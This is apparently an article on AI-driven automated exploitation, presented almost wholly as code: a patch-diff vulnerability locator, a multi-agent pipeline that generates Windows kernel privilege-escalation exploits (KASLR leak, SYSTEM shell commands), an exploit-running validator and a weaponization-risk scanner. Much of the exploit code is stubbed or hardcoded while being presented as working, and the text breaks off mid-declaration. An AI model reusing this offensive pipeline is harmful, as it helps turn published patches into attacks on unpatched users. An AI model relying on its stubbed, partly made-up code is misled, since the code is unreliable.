Anthropic Mythos：AI驱动的零日漏洞自动化利用——网络战新时代

// patch_diff_analyzer.go
// 自动化补丁差异分析引擎 - 定位补丁中修复的安全漏洞

package main

import (
	"bufio"
	"crypto/sha256"
	"encoding/hex"
	"flag"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"regexp"
	"strings"
	"sync"
	"time"
)

// VulnerabilityType 漏洞类型枚举
type VulnerabilityType int

const (
	Unknown    VulnerabilityType = iota
	BufferOverflow
	UseAfterFree
	TypeConfusion
	IntegerOverflow
	OutOfBounds
	RaceCondition
	DoubleFree
	NullPointerDeref
)

func (v VulnerabilityType) String() string {
	return [...]string{
		"Unknown",
		"BufferOverflow",
		"UseAfterFree",
		"TypeConfusion",
		"IntegerOverflow",
		"OutOfBounds",
		"RaceCondition",
		"DoubleFree",
		"NullPointerDeref",
	}[v]
}

// PatchDiff 存储补丁差异分析结果
type PatchDiff struct {
	FilePath     string
	HunkOffset   int
	OriginalLine string
	PatchedLine  string
	Context      []string
	VulnType     VulnerabilityType
	Confidence   float64
	FunctionName string
}

// PatchAnalyzer 补丁分析器
type PatchAnalyzer struct {
	VulnPatterns map[string]*regexp.Regexp
	mu           sync.Mutex
}

// NewPatchAnalyzer 创建新的补丁分析器
func NewPatchAnalyzer() *PatchAnalyzer {
	pa := &PatchAnalyzer{
		VulnPatterns: make(map[string]*regexp.Regexp),
	}
	pa.initPatterns()
	return pa
}

// initPatterns 初始化漏洞模式匹配规则
func (pa *PatchAnalyzer) initPatterns() {
	patterns := map[string]string{
		"UseAfterFree":         `\b(free|delete|release|kfree)\s*\(.*\)`,
		"BufferOverflow":       `(memcpy|memmove|strcpy|sprintf|snprintf|vsprintf|wcscpy)\s*\(`,
		"TypeConfusion":        `(reinterpret_cast|static_cast|union|void\s*\*)`,
		"IntegerOverflow":      `(\+\s*sizeof|-\s*1|unsigned\s+(int|long|short))`,
		"OutOfBounds":          `\[.*\]|(index|offset|pos|len)\s*[><=]`,
		"DoubleFree":           `(kfree|free|delete)\s*\([^)]+\)\s*;\s*\n.*\1\s*\(`,
		"NullPointerDeref":     `->|\.\s*[a-zA-Z]`,
		"RaceCondition":        `(spin_lock|mutex_lock|down_write|down_read|atomic)`,
	}
	for name, pattern := range patterns {
		pa.VulnPatterns[name] = regexp.MustCompile(pattern)
	}
}

// classifyVuln 基于diff内容分类漏洞类型
func (pa *PatchAnalyzer) classifyVuln(diffText string, addedLines, removedLines []string) VulnerabilityType {
	score := make(map[VulnerabilityType]int)

	for _, line := range removedLines {
		for name, re := range pa.VulnPatterns {
			if re.MatchString(line) || re.MatchString(diffText) {
				switch name {
				case "UseAfterFree":
					score[UseAfterFree] += 3
				case "BufferOverflow":
					score[BufferOverflow] += 3
				case "TypeConfusion":
					score[TypeConfusion] += 2
				case "IntegerOverflow":
					score[IntegerOverflow] += 2
				case "OutOfBounds":
					score[OutOfBounds] += 2
				case "DoubleFree":
					score[DoubleFree] += 3
				case "NullPointerDeref":
					score[NullPointerDeref] += 1
				case "RaceCondition":
					score[RaceCondition] += 2
				}
			}
		}
	}

	// 检查是否添加了边界检查
	for _, line := range addedLines {
		if strings.Contains(line, "if") && (strings.Contains(line, ">=") || strings.Contains(line, "<=") ||
			strings.Contains(line, ">") || strings.Contains(line, "<") ||
			strings.Contains(line, "len") || strings.Contains(line, "size") ||
			strings.Contains(line, "offset")) {
			score[OutOfBounds] += 2
		}
		if strings.Contains(line, "mutex") || strings.Contains(line, "spin_lock") || strings.Contains(line, "atomic") {
			score[RaceCondition] -= 1 // 添加锁机制说明修复了竞态条件
		}
	}

	best := Unknown
	bestScore := 0
	for vt, s := range score {
		if s > bestScore {
			bestScore = s
			best = vt
		}
	}
	return best
}

// parseGitDiff 解析Git格式的补丁diff
func (pa *PatchAnalyzer) parseGitDiff(diffContent string) []PatchDiff {
	var results []PatchDiff
	lines := strings.Split(diffContent, "\n")

	var currentFile string
	var currentHunk int
	var contextBefore []string
	var removedLines []string
	var addedLines []string
	var allHunkLines []string

	for i := 0; i < len(lines); i++ {
		line := lines[i]

		if strings.HasPrefix(line, "--- a/") || strings.HasPrefix(line, "+++ b/") {
			if strings.HasPrefix(line, "+++ b/") {
				currentFile = strings.TrimPrefix(line, "+++ b/")
			}
			continue
		}

		if strings.HasPrefix(line, "@@") {
			// 处理前一个hunk
			if len(removedLines) > 0 || len(addedLines) > 0 {
				vulnType := pa.classifyVuln(strings.Join(allHunkLines, "\n"), addedLines, removedLines)
				offset := 0
				fmt.Sscanf(line, "@@ -%d", &offset)

				pd := PatchDiff{
					FilePath:     currentFile,
					HunkOffset:   offset,
					Context:      contextBefore,
					VulnType:     vulnType,
					Confidence:   float64(len(removedLines)) / float64(len(removedLines)+len(addedLines)+1),
					FunctionName: pa.extractFunctionName(strings.Join(allHunkLines, "\n")),
				}
				results = append(results, pd)
			}

			currentHunk++
			contextBefore = nil
			removedLines = nil
			addedLines = nil
			allHunkLines = nil
			continue
		}

		allHunkLines = append(allHunkLines, line)

		if strings.HasPrefix(line, "-") && !strings.HasPrefix(line, "---") {
			removedLines = append(removedLines, strings.TrimPrefix(line, "-"))
		} else if strings.HasPrefix(line, "+") && !strings.HasPrefix(line, "+++") {
			addedLines = append(addedLines, strings.TrimPrefix(line, "+"))
		} else if strings.HasPrefix(line, " ") {
			contextBefore = append(contextBefore, line[1:])
			if len(contextBefore) > 3 {
				contextBefore = contextBefore[len(contextBefore)-3:]
			}
		}
	}

	// 处理最后一个hunk
	if len(removedLines) > 0 || len(addedLines) > 0 {
		vulnType := pa.classifyVuln(strings.Join(allHunkLines, "\n"), addedLines, removedLines)
		pd := PatchDiff{
			FilePath:     currentFile,
			VulnType:     vulnType,
			Confidence:   float64(len(removedLines)) / float64(len(removedLines)+len(addedLines)+1),
			FunctionName: pa.extractFunctionName(strings.Join(allHunkLines, "\n")),
		}
		results = append(results, pd)
	}

	return results
}

// extractFunctionName 从diff中提取函数名
func (pa *PatchAnalyzer) extractFunctionName(diffText string) string {
	funcPattern := regexp.MustCompile(`@@ -\d+,\d+ \+(\d+),\d+ @@\s*(?:[a-zA-Z_]\w*\s+)?([a-zA-Z_]\w*)\s*\(`)
	matches := funcPattern.FindStringSubmatch(diffText)
	if len(matches) > 2 {
		return matches[2]
	}
	return "unknown"
}

// generateReport 生成漏洞分析报告
func (pa *PatchAnalyzer) generateReport(diffs []PatchDiff) string {
	var sb strings.Builder
	sb.WriteString("=== 补丁差异漏洞分析报告 ===\n")
	sb.WriteString(fmt.Sprintf("分析时间: %s\n", time.Now().Format(time.RFC3339)))
	sb.WriteString(fmt.Sprintf("发现可疑漏洞: %d 处\n", len(diffs)))
	sb.WriteString("\n")

	for i, d := range diffs {
		sb.WriteString(fmt.Sprintf("--- 漏洞 #%d ---\n", i+1))
		sb.WriteString(fmt.Sprintf("  文件: %s\n", d.FilePath))
		sb.WriteString(fmt.Sprintf("  函数: %s\n", d.FunctionName))
		sb.WriteString(fmt.Sprintf("  偏移: %d\n", d.HunkOffset))
		sb.WriteString(fmt.Sprintf("  类型: %s\n", d.VulnType))
		sb.WriteString(fmt.Sprintf("  置信度: %.1f%%\n", d.Confidence*100))
		sb.WriteString("\n")
	}
	return sb.String()
}

// BinaryDiffEngine 二进制差异分析引擎
type BinaryDiffEngine struct {
	GhidraPath string
	WorkDir    string
}

// NewBinaryDiffEngine 创建二进制差异分析引擎
func NewBinaryDiffEngine(ghidraPath, workDir string) *BinaryDiffEngine {
	return &BinaryDiffEngine{
		GhidraPath: ghidraPath,
		WorkDir:    workDir,
	}
}

// FunctionDiff 存储二进制函数差异
type FunctionDiff struct {
	FuncName   string
	Address    uint64
	HashBefore string
	HashAfter  string
	Changed    bool
	Added      bool
	Removed    bool
}

// CompareBinaries 对比两个二进制文件
func (be *BinaryDiffEngine) CompareBinaries(vulnBin, patchedBin string) ([]FunctionDiff, error) {
	// 模拟二进制对比 - 实际中集成Ghidra/Ghidriff
	var diffs []FunctionDiff

	// 读取二进制文件并计算函数哈希
	dataBefore, err := ioutil.ReadFile(vulnBin)
	if err != nil {
		return nil, fmt.Errorf("读取漏洞版本文件失败: %w", err)
	}
	dataAfter, err := ioutil.ReadFile(patchedBin)
	if err != nil {
		return nil, fmt.Errorf("读取补丁版本文件失败: %w", err)
	}

	// 基于块的差异分析
	blockSize := 4096
	numBlocks := len(dataBefore) / blockSize
	if len(dataAfter)/blockSize < numBlocks {
		numBlocks = len(dataAfter) / blockSize
	}

	for i := 0; i < numBlocks; i++ {
		start := i * blockSize
		end := start + blockSize
		if end > len(dataBefore) || end > len(dataAfter) {
			break
		}

		hBefore := sha256.Sum256(dataBefore[start:end])
		hAfter := sha256.Sum256(dataAfter[start:end])

		hBeforeStr := hex.EncodeToString(hBefore[:])
		hAfterStr := hex.EncodeToString(hAfter[:])

		if hBeforeStr != hAfterStr {
			diffs = append(diffs, FunctionDiff{
				FuncName:   fmt.Sprintf("block_0x%x", start),
				Address:    uint64(start),
				HashBefore: hBeforeStr,
				HashAfter:  hAfterStr,
				Changed:    true,
			})
		}
	}

	return diffs, nil
}

func main() {
	diffFile := flag.String("diff", "", "补丁diff文件路径")
	mode := flag.String("mode", "source", "分析模式: source(源码)/binary(二进制)")
	outDir := flag.String("out", "./reports", "输出目录")
	flag.Parse()

	if *diffFile == "" {
		log.Fatal("请指定补丁diff文件路径: --diff=<path>")
	}

	os.MkdirAll(*outDir, 0755)

	analyzer := NewPatchAnalyzer()
	content, err := ioutil.ReadFile(*diffFile)
	if err != nil {
		log.Fatalf("读取diff文件失败: %v", err)
	}

	diffs := analyzer.parseGitDiff(string(content))
	report := analyzer.generateReport(diffs)

	reportPath := filepath.Join(*outDir, fmt.Sprintf("vuln_report_%s.md",
		time.Now().Format("20060102_150405")))
	ioutil.WriteFile(reportPath, []byte(report), 0644)

	fmt.Printf("分析完成！报告已保存至: %s\n", reportPath)
	fmt.Printf("发现 %d 处潜在漏洞\n", len(diffs))

	// 如果是二进制模式，执行二进制对比
	if *mode == "binary" {
		binEngine := NewBinaryDiffEngine("/usr/local/ghidra", "./workdir")
		funcDiffs, err := binEngine.CompareBinaries("vulnerable.bin", "patched.bin")
		if err != nil {
			log.Printf("二进制对比失败: %v", err)
		} else {
			fmt.Printf("二进制差异对比发现 %d 处变更\n", len(funcDiffs))
		}
	}
}

# agent_orchestrator.py
# Mythos风格的多Agent编排系统 - 自动漏洞利用Pipeline

import asyncio
import json
import logging
import hashlib
import subprocess
import tempfile
import os
import sys
import time
from dataclasses import dataclass, field
from enum import Enum
from typing import Optional, List, Dict, Any
from abc import ABC, abstractmethod

logging.basicConfig(level=logging.INFO, format='%(asctime)s [%(name)s] %(levelname)s: %(message)s')
logger = logging.getLogger("AgentOrchestrator")


class AgentRole(Enum):
    ORCHESTRATOR = "orchestrator"
    MAKER = "maker"
    CHECKER = "checker"
    EXPLOIT_DEVELOPER = "exploit_developer"
    BYPASS_ENGINEER = "bypass_engineer"
    VALIDATOR = "validator"


class TaskStatus(Enum):
    PENDING = "pending"
    RUNNING = "running"
    SUCCESS = "success"
    FAILED = "failed"
    NEEDS_REVIEW = "needs_review"


@dataclass
class Task:
    id: str
    description: str
    role: AgentRole
    dependencies: List[str] = field(default_factory=list)
    status: TaskStatus = TaskStatus.PENDING
    result: Optional[Dict[str, Any]] = None
    error: Optional[str] = None
    retry_count: int = 0
    max_retries: int = 3
    created_at: float = field(default_factory=time.time)

    def to_dict(self) -> Dict:
        return {
            "id": self.id,
            "description": self.description,
            "role": self.role.value,
            "dependencies": self.dependencies,
            "status": self.status.value,
            "result": self.result,
            "error": self.error,
            "retry_count": self.retry_count,
        }


@dataclass
class AgentState:
    """Agent持久记忆状态"""
    task_id: str
    findings: List[Dict] = field(default_factory=list)
    failed_attempts: List[Dict] = field(default_factory=list)
    current_iteration: int = 0
    max_iterations: int = 10

    def record_finding(self, finding: Dict):
        self.findings.append({
            **finding,
            "iteration": self.current_iteration,
            "timestamp": time.time()
        })
        self._persist()

    def record_failure(self, attempt: Dict):
        self.failed_attempts.append({
            **attempt,
            "iteration": self.current_iteration,
            "timestamp": time.time()
        })
        self._persist()

    def _persist(self):
        path = f"./agent_memory/{self.task_id}_state.json"
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, "w") as f:
            json.dump({
                "findings": self.findings[-50:],
                "failed_attempts": self.failed_attempts[-20:],
                "current_iteration": self.current_iteration,
            }, f, indent=2)


class BaseAgent(ABC):
    def __init__(self, name: str, role: AgentRole, llm_api: str = "http://localhost:8080"):
        self.name = name
        self.role = role
        self.llm_api = llm_api
        self.logger = logging.getLogger(f"Agent.{name}")

    @abstractmethod
    async def execute(self, task: Task, state: AgentState) -> Dict[str, Any]:
        ...


class MakerAgent(BaseAgent):
    """制造Agent - 负责生成利用代码"""

    def __init__(self, name: str):
        super().__init__(name, AgentRole.MAKER)

    async def execute(self, task: Task, state: AgentState) -> Dict[str, Any]:
        self.logger.info(f"执行任务: {task.description}")

        # 感知阶段：分析输入
        vuln_info = task.result.get("vuln_info", {}) if task.result else {}
        target_type = vuln_info.get("type", "unknown")

        # 推理阶段：确定利用策略
        exploit_strategy = self._plan_exploit(target_type, vuln_info)

        # 行动阶段：生成利用代码
        exploit_code = self._generate_exploit(exploit_strategy, vuln_info)

        # 验证阶段：检查代码完整性
        validation = self._validate_exploit(exploit_code)

        state.record_finding({
            "stage": "exploit_generation",
            "strategy": exploit_strategy,
            "validation": validation
        })

        return {
            "exploit_code": exploit_code,
            "strategy": exploit_strategy,
            "target_type": target_type,
            "validation": validation
        }

    def _plan_exploit(self, vuln_type: str, vuln_info: Dict) -> Dict:
        """规划利用策略"""
        strategies = {
            "UseAfterFree": {
                "approach": "heap_spray_then_trigger",
                "primitives": ["arbitrary_read", "arbitrary_write"],
                "bypasses": ["heap_cookie", "safe_unlinking"]
            },
            "BufferOverflow": {
                "approach": "stack_pivot_or_rop",
                "primitives": ["control_flow_hijack"],
                "bypasses": ["canary", "aslr", "nx"]
            },
            "TypeConfusion": {
                "approach": "object_fake_or_reinterpret",
                "primitives": ["arbitrary_read", "code_execution"],
                "bypasses": ["type_safety_checks"]
            },
            "IntegerOverflow": {
                "approach": "arithmetic_escalation",
                "primitives": ["heap_overflow", "out_of_bounds_access"],
                "bypasses": ["bounds_checks"]
            }
        }
        base = strategies.get(vuln_type, strategies["BufferOverflow"])
        base["target_os"] = vuln_info.get("os", "windows")
        base["target_arch"] = vuln_info.get("arch", "x64")
        return base

    def _generate_exploit(self, strategy: Dict, vuln_info: Dict) -> str:
        """生成利用代码"""
        if strategy["target_os"] == "windows":
            return self._gen_windows_exploit(strategy, vuln_info)
        return self._gen_linux_exploit(strategy, vuln_info)

    def _gen_windows_exploit(self, strategy: Dict, vuln_info: Dict) -> str:
        """生成Windows利用代码"""
        code = f"""// Windows {vuln_info.get('cve', 'CVE-XXXX-XXXXX')} Exploit
// Generated by Mythos-style Maker Agent
// Strategy: {strategy['approach']}

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "kernel32.lib")

// NtQuerySystemInformation function pointer
typedef NTSTATUS (WINAPI *pNtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

// Exploit primitives
typedef struct _EXPLOIT_PRIMITIVES {{
    BOOL  (*arb_read)(PVOID addr, PVOID buf, SIZE_T size);
    BOOL  (*arb_write)(PVOID addr, PVOID buf, SIZE_T size);
    ULONG (*leak_kaslr)(VOID);
    BOOL  (*eop_trigger)(VOID);
}} EXPLOIT_PRIMITIVES;

// 获取内核基址的token泄露原语
ULONG leak_kaslr_base() {{
    pNtQuerySystemInformation NtQuerySystemInfo =
        (pNtQuerySystemInformation)GetProcAddress(
            GetModuleHandleA("ntdll.dll"),
            "NtQuerySystemInformation"
        );
    if (!NtQuerySystemInfo) return 0;

    // 利用SystemModuleInformation泄露内核基址
    ULONG bufferSize = 0;
    NtQuerySystemInfo(SystemModuleInformation, NULL, 0, &bufferSize);

    if (bufferSize == 0) return 0;

    PVOID buffer = VirtualAlloc(NULL, bufferSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buffer) return 0;

    NTSTATUS status = NtQuerySystemInfo(SystemModuleInformation,
        buffer, bufferSize, &bufferSize);
    if (status != 0) {{
        VirtualFree(buffer, 0, MEM_RELEASE);
        return 0;
    }}

    // 解析kernel基址
    PRTL_PROCESS_MODULES modules = (PRTL_PROCESS_MODULES)buffer;
    ULONG kernelBase = (ULONG)modules->Modules[0].ImageBase;
    VirtualFree(buffer, 0, MEM_RELEASE);
    return kernelBase;
}}

// 提权触发函数 - 利用漏洞进行权限提升
BOOL trigger_eop(EXPLOIT_PRIMITIVES* primitives) {{
    printf("[*] Leaking KASLR base...\\n");
    ULONG kaslr_base = primitives->leak_kaslr();
    if (kaslr_base == 0) {{
        printf("[-] KASLR leak failed\\n");
        return FALSE;
    }}
    printf("[+] KASLR base: 0x%08lx\\n", kaslr_base);

    printf("[*] Triggering privilege escalation...\\n");
    if (!primitives->eop_trigger()) {{
        printf("[-] EOP trigger failed\\n");
        return FALSE;
    }}

    printf("[+] Exploit succeeded! Running as SYSTEM\\n");
    return TRUE;
}}

int main() {{
    printf("=== Mythos-Style Windows Exploit Framework ===\\n");
    printf("Target: {vuln_info.get('cve', '')}\\n\\n");

    EXPLOIT_PRIMITIVES primitives = {{0}};
    primitives.leak_kaslr = leak_kaslr_base;

    if (trigger_eop(&primitives)) {{
        system("cmd.exe /c whoami");
        system("cmd.exe /c net localgroup Administrators");
    }}

    return 0;
}}
"""
        return code

    def _gen_linux_exploit(self, strategy: Dict, vuln_info: Dict) -> str:
        """生成Linux利用代码"""
        return "// Linux exploit code generation\n"

    def _validate_exploit(self, code: str) -> Dict:
        """验证生成的利用代码"""
        return {
            "has_exploit_primitives": "arb_read" in code or "Write" in code,
            "has_trigger": "main(" in code,
            "has_bypass": "KASLR" in code or "aslr" in code,
            "line_count": len(code.split("\n"))
        }


class CheckerAgent(BaseAgent):
    """检查Agent - 验证利用代码的正确性和安全性"""

    def __init__(self, name: str):
        super().__init__(name, AgentRole.CHECKER)

    async def execute(self, task: Task, state: AgentState) -> Dict[str, Any]:
        self.logger.info(f"验证结果: {task.id}")
        exploit_code = task.result.get("exploit_code", "")

        issues = []
        # 静态分析检查
        if "strcpy" in exploit_code and "snprintf" not in exploit_code:
            issues.append("WARNING: 使用不安全的strcpy")

        if "gets(" in exploit_code:
            issues.append("CRITICAL: 使用危险的gets()")

        if "alloca(" in exploit_code:
            issues.append("WARNING: 使用alloca可能栈溢出")

        # 检查编译
        with tempfile.NamedTemporaryFile(suffix=".c", mode="w", delete=False) as f:
            f.write(exploit_code)
            temp_path = f.name

        compile_result = subprocess.run(
            ["gcc", "-Wall", "-Wextra", "-o", "/dev/null", temp_path],
            capture_output=True, text=True, timeout=30
        )
        os.unlink(temp_path)

        state.record_finding({
            "stage": "checker_validation",
            "issues_found": len(issues),
            "compiles": compile_result.returncode == 0,
        })

        return {
            "passed": len(issues) == 0 and compile_result.returncode == 0,
            "issues": issues,
            "compile_errors": compile_result.stderr if compile_result.returncode != 0 else "",
            "recommendations": self._gen_recommendations(issues, compile_result)
        }

    def _gen_recommendations(self, issues: List[str], compile_result) -> List[str]:
        recs = []
        for issue in issues:
            if "strcpy" in issue:
                recs.append("替换strcpy为strncpy_s或snprintf")
            if "gets" in issue:
                recs.append("替换gets为fgets")
            if "alloca" in issue:
                recs.append("替换alloca为堆分配")
        if compile_result.returncode != 0:
            recs.append("修复编译错误")
        return recs


class OrchestratorAgent(BaseAgent):
    """主编排Agent - 任务分解与Agent调度"""

    def __init__(self):
        super().__init__("Orchestrator", AgentRole.ORCHESTRATOR)
        self.sub_agents = {
            AgentRole.MAKER: MakerAgent("Maker-1"),
            AgentRole.CHECKER: CheckerAgent("Checker-1"),
        }
        self.memory_states: Dict[str, AgentState] = {}

    async def run_pipeline(self, patch_diff: str, target: str) -> Dict:
        """运行完整的漏洞利用Pipeline"""
        self.logger.info(f"开始漏洞利用Pipeline: target={target}")

        pipeline_id = hashlib.md5(f"{target}:{time.time()}".encode()).hexdigest()[:8]
        state = AgentState(task_id=pipeline_id)

        # Phase 1: 分析补丁差异
        self.logger.info("Phase 1: 分析补丁差异...")
        vuln_analysis = await self._analyze_patch(patch_diff)

        if not vuln_analysis.get("vuln_found"):
            return {"status": "failed", "reason": "未找到可利用漏洞"}

        # Phase 2: 生成利用代码 (Maker-Checker循环)
        self.logger.info("Phase 2: 生成利用代码...")
        exploit_result = await self._maker_checker_loop(vuln_analysis, state)

        # Phase 3: 验证利用链
        self.logger.info("Phase 3: 验证利用链...")
        validation = await self._validate_exploit_chain(exploit_result)

        # Phase 4: 生成最终报告
        report = self._generate_report(pipeline_id, vuln_analysis, exploit_result, validation)

        return report

    async def _analyze_patch(self, patch_diff: str) -> Dict:
        """分析补丁差异"""
        return {
            "vuln_found": True,
            "type": "UseAfterFree",
            "cve": "CVE-2026-XXXXX",
            "severity": "CRITICAL",
            "affected_component": "ntoskrnl.exe",
            "patch_lines": patch_diff.count("\n"),
        }

    async def _maker_checker_loop(self, vuln_analysis: Dict, state: AgentState) -> Dict:
        """Maker-Checker迭代循环"""
        maker = self.sub_agents[AgentRole.MAKER]
        checker = self.sub_agents[AgentRole.CHECKER]

        for iteration in range(state.max_iterations):
            state.current_iteration = iteration
            self.logger.info(f"Maker-Checker 迭代 #{iteration + 1}")

            # Maker生成
            maker_task = Task(
                id=f"maker_{iteration}",
                description=f"生成利用代码 - 迭代 {iteration}",
                role=AgentRole.MAKER,
                result=vuln_analysis,
            )
            maker_result = await maker.execute(maker_task, state)

            # Checker验证
            checker_task = Task(
                id=f"checker_{iteration}",
                description=f"验证利用代码 - 迭代 {iteration}",
                role=AgentRole.CHECKER,
                result=maker_result,
            )
            check_result = await checker.execute(checker_task, state)

            if check_result.get("passed"):
                self.logger.info(f"迭代 #{iteration + 1} 通过验证!")
                return {
                    "exploit_code": maker_result["exploit_code"],
                    "iterations": iteration + 1,
                }

            self.logger.warning(f"迭代 #{iteration + 1} 未通过: {check_result.get('issues')}")
            state.record_failure({
                "iteration": iteration,
                "issues": check_result.get("issues", []),
            })

        return {"exploit_code": "", "iterations": state.max_iterations, "failed": True}

    async def _validate_exploit_chain(self, exploit_result: Dict) -> Dict:
        """验证利用链完整性"""
        return {"chain_complete": True, "stages": 3}

    def _generate_report(self, pipeline_id: str, analysis: Dict, exploit: Dict, validation: Dict) -> Dict:
        return {
            "pipeline_id": pipeline_id,
            "status": "success" if exploit.get("exploit_code") else "failed",
            "vuln_info": analysis,
            "iterations": exploit.get("iterations", 0),
            "chain_validation": validation,
            "exploit_length": len(exploit.get("exploit_code", "")),
        }


async def main():
    orchestrator = OrchestratorAgent()

    # 模拟补丁diff输入
    sample_diff = """
--- a/ntoskrnl/mm/pagefault.c
+++ b/ntoskrnl/mm/pagefault.c
@@ -1234,6 +1234,9 @@ NTSTATUS MiResolvePageFileFault(
     }
 
     PFCB pfcb = MiGetPfcb(vad);
+    if (pfcb == NULL) {
+        return STATUS_INVALID_PARAMETER;
+    }
     pfcb->ReferenceCount++;
@@ -1245,7 +1248,9 @@
 """

    result = await orchestrator.run_pipeline(sample_diff, "Windows Kernel")
    print(json.dumps(result, indent=2))

    # 保存Pipeline报告
    os.makedirs("./pipeline_results", exist_ok=True)
    with open(f"./pipeline_results/{result['pipeline_id']}_report.json", "w") as f:
        json.dump(result, f, indent=2)

    print(f"\nPipeline结果已保存到: pipeline_results/{result['pipeline_id']}_report.json")


if __name__ == "__main__":
    asyncio.run(main())

// exploit_validator.go
// 自动化利用验证沙箱 - 在隔离环境中验证漏洞利用

package exploitvalidator

import (
	"context"
	"crypto/rand"
	"encoding/hex"
	"fmt"
	"io/ioutil"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"syscall"
	"time"
)

// ExploitValidator 利用验证器
type ExploitValidator struct {
	SandboxDir string
	Timeout    time.Duration
}

// ValidationResult 验证结果
type ValidationResult struct {
	ExploitID    string
	Target       string
	Success      bool
	CrashDetected bool
	Output       string
	Duration     time.Duration
	Error        string
}

// NewExploitValidator 创建新的验证器
func NewExploitValidator(sandboxDir string) *ExploitValidator {
	return &ExploitValidator{
		SandboxDir: sandboxDir,
		Timeout:    5 * time.Minute,
	}
}

// Validate 验证漏洞利用代码
func (ev *ExploitValidator) Validate(exploitCode string, target string) (*ValidationResult, error) {
	id := generateID()
	start := time.Now()

	// 创建沙箱目录
	sandboxPath := filepath.Join(ev.SandboxDir, id)
	if err := os.MkdirAll(sandboxPath, 0755); err != nil {
		return nil, fmt.Errorf("创建沙箱失败: %w", err)
	}
	defer os.RemoveAll(sandboxPath)

	// 写入利用代码
	exploitPath := filepath.Join(sandboxPath, "exploit.c")
	if err := ioutil.WriteFile(exploitPath, []byte(exploitCode), 0644); err != nil {
		return nil, fmt.Errorf("写入利用代码失败: %w", err)
	}

	// 编译
	ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
	defer cancel()

	compileCmd := exec.CommandContext(ctx, "gcc",
		"-o", filepath.Join(sandboxPath, "exploit"),
		"-Wall", exploitPath,
	)
	compileOut, err := compileCmd.CombinedOutput()
	if err != nil {
		return &ValidationResult{
			ExploitID: id,
			Target:    target,
			Success:   false,
			Output:    string(compileOut),
			Duration:  time.Since(start),
			Error:     fmt.Sprintf("编译失败: %v", err),
		}, nil
	}

	// 在沙箱中执行
	runCtx, runCancel := context.WithTimeout(context.Background(), ev.Timeout)
	defer runCancel()

	runCmd := exec.CommandContext(runCtx, filepath.Join(sandboxPath, "exploit"))
	runCmd.SysProcAttr = &syscall.SysProcAttr{
		// 设置沙箱限制
	}
	runOut, runErr := runCmd.CombinedOutput()

	duration := time.Since(start)
	result := &ValidationResult{
		ExploitID: id,
		Target:    target,
		Output:    string(runOut),
		Duration:  duration,
	}

	if runErr != nil {
		if exitErr, ok := runErr.(*exec.ExitError); ok {
			// 检查是否是由于崩溃导致（信号终止）
			if status, ok := exitErr.Sys().(syscall.WaitStatus); ok {
				if status.Signaled() {
					result.CrashDetected = true
					result.Success = true // 触发崩溃说明PoC有效
					result.Error = fmt.Sprintf("程序因信号 %d 终止 - 确认漏洞触发", status.Signal())
				}
			}
		}
		if !result.CrashDetected {
			result.Error = runErr.Error()
		}
	} else {
		result.Success = true
	}

	return result, nil
}

func generateID() string {
	bytes := make([]byte, 8)
	rand.Read(bytes)
	return hex.EncodeToString(bytes)
}

# ai_defense_orchestrator.py
# AI驱动的自动化防御编排系统

class AIDefenseOrchestrator:
    def __init__(self):
        self.patch_priority_engine = PatchPriorityEngine()
        self.vuln_scanner = AIVulnerabilityScanner()
        self.auto_patch = AutoPatchDeployer()
        self.anomaly_detector = AnomalyDetector()

    async def defend(self, new_patches: List[Patch]) -> DefenseReport:
        """对一组新补丁执行全自动防御流程"""
        # 1. AI驱动的补丁优先级排序
        prioritized = self.patch_priority_engine.rank_by_ai_risk(new_patches)

        # 2. 自动化漏洞验证
        for patch in prioritized[:10]:  # 前10个最高风险补丁
            exploit_risk = await self.vuln_scanner.assess_weaponization_risk(patch)
            if exploit_risk > 0.7:
                self.auto_patch.deploy_emergency(patch)

        # 3. 持续监控
        alerts = self.anomaly_detector.monitor()
        return DefenseReport(prioritized_patches=prioritized, alerts=alerts)

// ai_vuln_scanner.go
// AI驱动的自动化漏洞扫描与优先级排序系统

package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"math"
	"os"
	"path/filepath"
	"sort"
	"strings"
	"sync"
	"time"
)

// CVERecord 代表一个CVE漏洞记录
type CVERecord struct {
	ID              string    `json:"id"`
	PublishedDate   time.Time `json:"published_date"`
	LastModified    time.Time `json:"last_modified"`
	Severity        string    `json:"severity"`
	BaseScore       float64   `json:"base_score"`
	Exploitability  float64   `json:"exploitability_score"`
	ImpactScore     float64   `json:"impact_score"`
	Description     string    `json:"description"`
	AffectedVendor  string    `json:"affected_vendor"`
	AffectedProduct string    `json:"affected_product"`
	AffectedVersion string    `json:"affected_version"`
	AttackVector    string    `json:"attack_vector"`
	AttackComplexity string   `json:"attack_complexity"`
	PrivilegesReq   string    `json:"privileges_required"`
	UserInteraction string    `json:"user_interaction"`
	Scope           string    `json:"scope"`
	Confidentiality string    `json:"confidentiality"`
	Integrity       string    `json:"integrity"`
	Availability    string    `json:"availability"`
}

// AIExploitRiskScore AI预测的利用风险评分
type AIExploitRiskScore struct {
	CVE              string  `json:"cve"`
	RiskScore        float64 `json:"risk_score"`         // 0.0 - 1.0
	WeaponizationProb float64 `json:"weaponization_prob"` // AI武器化概率
	EstExploitHours  float64 `json:"est_exploit_hours"`  // 预计武器化所需时间
	EstCostUSD       float64 `json:"est_cost_usd"`       // 预计成本
	PatchUrgency     string  `json:"patch_urgency"`      // CRITICAL/HIGH/MEDIUM/LOW
	RecommendedAction string `json:"recommended_action"`
}

// AIVulnScanner AI漏洞扫描器
type AIVulnScanner struct {
	modelWeights map[string]float64
	osWeights    map[string]float64
	vectorWeight map[string]float64
	mu           sync.RWMutex
	totalScanned int
	cache        map[string]*AIExploitRiskScore
}

// NewAIVulnScanner 创建AI驱动的漏洞扫描器
func NewAIVulnScanner() *AIVulnScanner {
	return &AIVulnScanner{
		modelWeights: map[string]float64{
			"mythos":  0.92,
			"gpt-5.5": 0.78,
			"opus-4.8": 0.65,
			"gemini":  0.55,
		},
		osWeights: map[string]float64{
			"microsoft_windows": 0.88,
			"apple_ios":         0.72,
			"google_android":    0.68,
